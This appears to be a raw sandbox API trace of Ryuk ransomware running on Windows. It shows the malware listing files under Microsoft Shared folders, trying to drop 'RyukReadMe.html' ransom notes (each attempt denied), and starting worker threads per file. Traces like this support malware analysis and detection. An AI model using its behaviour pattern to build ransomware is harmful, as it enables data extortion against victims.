	[0163.884] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1
	[0163.884] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0
	[0163.884] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.884] SetLastError (dwErrCode=0x0) 
	[0163.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.885] GetLastError () returned 0x5
	[0163.885] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.885] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.885] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0163.885] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0
	[0163.885] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0163.885] SetLastError (dwErrCode=0x0) 
	[0163.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.886] GetLastError () returned 0x5
	[0163.886] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0163.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.886] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1
	[0163.886] SetLastError (dwErrCode=0x0) 
	[0163.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.887] GetLastError () returned 0x5
	[0163.887] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0163.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0163.887] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.888] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0163.889] SetLastError (dwErrCode=0x0) 
	[0163.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.889] GetLastError () returned 0x5
	[0163.889] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.890] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.893] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.893] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1
	[0163.893] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1
	[0163.893] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1
	[0163.893] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1
	[0163.893] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1
	[0163.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0163.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0163.897] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.897] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1
	[0163.897] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1
	[0163.897] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1
	[0163.897] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1
	[0163.897] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1
	[0163.898] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1
	[0163.898] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x8e, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1
	[0163.898] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0163.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0163.953] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.953] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x8e, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1
	[0163.954] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x8e, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0
	[0163.954] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.956] SetLastError (dwErrCode=0x0) 
	[0163.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.966] GetLastError () returned 0x5
	[0163.966] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.966] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.966] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0163.966] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1
	[0163.966] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1
	[0163.966] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1
	[0163.966] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1
